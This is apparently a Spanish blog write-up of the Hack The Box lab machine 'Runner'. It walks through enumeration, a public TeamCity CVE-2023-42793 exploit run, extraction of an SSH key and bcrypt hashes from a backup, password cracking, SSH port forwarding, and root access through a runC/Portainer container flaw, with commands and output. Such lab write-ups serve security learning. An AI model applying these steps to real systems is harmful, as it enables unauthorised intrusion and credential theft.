Runner - Medium

Hola a todos, hoy les presentaré la resolución de una máquina Hack the box de dificultad Media. En esta máquina aprenderemos a explotar una vulnerabilidad en TeamCity 2023.05.3 para posteriormente conectarnos por SSH y llegar a ser root aprovechando una versión obsoleta de runC (versión 1.1.7).
Reconocimiento
-
Enumeración con nmap Hacemos un
nmapsimple para ver los puertos que corren en la máquina# nmap -p- -sS --min-rate 5000 -T5 -Pn -vvv -oN nmap.txt 10.10.11.13 Increasing send delay for 10.10.11.13 from 0 to 5 due to 1097 out of 2741 dropped probes since last increase. Warning: 10.10.11.13 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.11.13 Host is up, received user-set (0.34s latency). Scanned at 2024-08-13 22:25:19 CEST for 38s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 8000/tcp open http-alt syn-ack ttl 63 Read data files from: /usr/bin/../share/nmapUna vez tenemos los puertos que en este caso como podemos ver es el
22(ssh), el80(http)y el8000(HTTP Alternative).Aplicamos un
nmapmás exhaustivo a dichos puertos# nmap -p22,80,8000 -sVC -v -oN port.txt 10.10.11.13 Nmap scan report for 10.10.11.13 Host is up (0.54s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://runner.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 8000/tcp open nagios-nsca Nagios NSCA |_http-title: Site doesn't have a title (text/plain; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmapPodemos ver que se aplica un
follow redirectahttp://runner.htb/ así que lo añadiremos al/etc/hosts10.10.11.13 runner.htbAhora accedemos a la web para poder determinar que clase de vulnerabilidades podemos encontrar
Accedemos a la web por el puerto 80 encontramos esto, si miramos en
Home, About, Serviceno hay nada interesante
Si intentamos mirar por
'subdominios o rutas’ no encontramos anda así que aplicaremos este comando de aquí.Lo que hará este comando será crear una lista de palabras personalizada a partir del contenido de una página web
cewl http://runner.htb/ | grep -v CeWL > words_runner.txUna vez creada la
wordlistde palabras, podemos intentar escanearsubdominioscon esta lista y encontramosTeamCity.runner.htbgobuster vhost -w words_runner.txt -u http://runner.htb -H "hosts: FUZZ.runnter.htb" --append-domain =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://runner.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: words_runner.txt [+] User Agent: gobuster/3.6 [+] Timeout: 10s [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== Found: TeamCity.runner.htb Status: 401 [Size: 66] Progress: 285 / 286 (99.65%) =============================================================== Finished ===============================================================Añadiremos
TeamCity.runner.htba nuestro/etc/hosts10.10.11.13 runner.htb TeamCity.runner.htbSi ahora vamos al navegador y ponemos el subdominio encontrado anteriormente ,encontraremos este
login, pero nos llama la atención la versión deTeamCity v2023.05.3
Si buscamos en
searchsploitencontramos que es vulnerablesearchsploit TeamCity 2023.05.3 ------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) | java/remote/51884.py ------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------Así que nos descargaremos el
exploitsearchsploit TeamCity 2023.05.3 -m java/remote/51884.pyExplotación de TeamCity 2023.05.3
Ejecutamos el
exploity nos da un usuario ypasswordpython3 51884.py -u http://teamcity.runner.htb ===================================================== * CVE-2023-42793 * * TeamCity Admin Account Creation * * * * Author: ByteHunter * ===================================================== Token: eyJ0eXAiOiAiVENWMiJ9.T3RudmdKTVdZT29nZkp4MndSdlBwanZfVmRF.N2VhMDk0ZjktMGM2MS00OWE1LTkyZGQtZDllMmJhMjFiNTU1 Successfully exploited! URL: http://teamcity.runner.htb Username: city_admind2GF Password: Main_password!!**Una vez tenemos la
contraseñayusuariopodemos iniciar sesión, una vez iniciemos sesión seremosadminasí que tenemos la capacidad de descargarbackup
Nos dirigiremos
administracióny le daremos a la sección debackup. Una vez hecho esto le daremos al botónStart Backupy nos saldrá un.zipque nos podemos descargar
Una vez descargado ,
unzipearemosel.zippara poder ver que encontramos en esebackup.Dentro del
backupencontramos estoscharset config database_dump export.report metadata system version.txtAl explorar el contenido de las carpetas, encontramos una ruta que almacena un archivo
id_rsa, el cual podríamos intentar utilizar para conectarnos porSSH.config/projects/AllProjects/pluginData/ssh_keysPero aún nos queda saber con qué usuario nos conectaremos. Nos dirigimos a la carpeta
database_dumpy encontramos un archivo llamadousers, el cual llama bastante nuestra atención. Si usamoscatpara ver su contenido, observamos hashes que podríamos intentar descifrar conJohnID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM 1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1723754735147, BCRYPT 2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT 11, admin.03tq, $2a$07$ssCrJlQub3j6JilRvlqtbOVQuzhwxRPcuWNOylHgTr1q7APg727RK, , admin.03tQ@lol.omg, 1723753919282, BCRYPT 12, city_adminvb7m, $2a$07$MjRIMfFQyaBzNAy8BVbS..snX3Zz0npHUZP7wdonGIdN9oxtkqYyS, , angry-admin@funnybunny.org, 1723754746653, BCRYPTHemos encontrado la contraseña
piper123, la cual nos será útil más adelantejohn --wordlist=wordlist hash Using default input encoding: UTF-8 Loaded 4 password hashes with 4 different salts (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 128 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidate left, minimum 6 needed for performance. piper123 (?) 1g 0:00:06:56 DONE (2024-08-15 23:43) 20.00g/s 20.00p/s 80.00c/s 80.00C/s piper123 Use the "--show" option to display all of the cracked passwords reliably Session completed.Acceso a la máquina con ssh
Ahora nos conectaremos por
sshprimero de todo le damos permisoschmod 600 id_rsay luegossh -i john@10.10.11.13 -i id_rsassh john@10.10.11.13 -i id_rsa Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/proY si hacemos un
lsencontraremos eluser.txt(flag)john@runner:~$ ls user.txtEscalada a
rootSi miramos los puertos que corren en la máquina víctima con el comando
netstat -ntlp, encontramos varios puertos que nos llaman la atenciónjohn@runner:~$ netstat -nltp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:9443 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8111 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::8000 :::* LISTEN -Vamos a aplicar port forwarding a dichos puertos para que nuestra máquina local pueda acceder a los servicios que corren en los puertos de la máquina víctima
ssh -L 9443:127.0.0.1:9443 -L 8111:127.0.0.1:8111 -L 9000:127.0.0.1:9000 -L 5005:127.0.0.1:5005 juan@10.10.11.13 -i id_rsaSi miramos de acceder a
127.0.0.1:9000encontramos este panel de inicio de sesión
Vamos a probar a acceder con el usuario
Matthewy la contraseña descifrada anteriormente,piper123.Como podemos ver en la imagen, se utilizando Portainer para gestionar contenedores.

Portainer es una herramienta gráfica para gestionar Docker, pero el software que realmente ejecuta los contenedores en el sistema podría ser runC.
Para confirmar si runC está en uso podemos aplicar esto en la máquina victima
runc --versionY efectivamente , tiene
runc v1.1.7john@runner:~$ runc --version runc version 1.1.7-0ubuntu1~22.04.1 spec: 1.0.2-dev go: go1.18.1 libseccomp: 2.5.3Si buscamos en Google por
runc version 1.1.7 vulnerabilityencontramos esta webVamos a explotar está vulnerabilidad
Primero de todo crearemos un contenedor


Una vez hecho esto , se nos creará el contenedor , vamos a acceder y entraremos a la sección de
console
Y nos conectaremos como
root
Nos saldrá una terminal y somos
root
Finalización
Espero que hayan aprendido mucho haciendo esta máquina y les haya servido de ayuda mi explicación para poder entender esta CTF. Muchas gracias por leer el artículo y no olviden seguirme en GitHub, ya que también iré subiendo herramientas de hacking.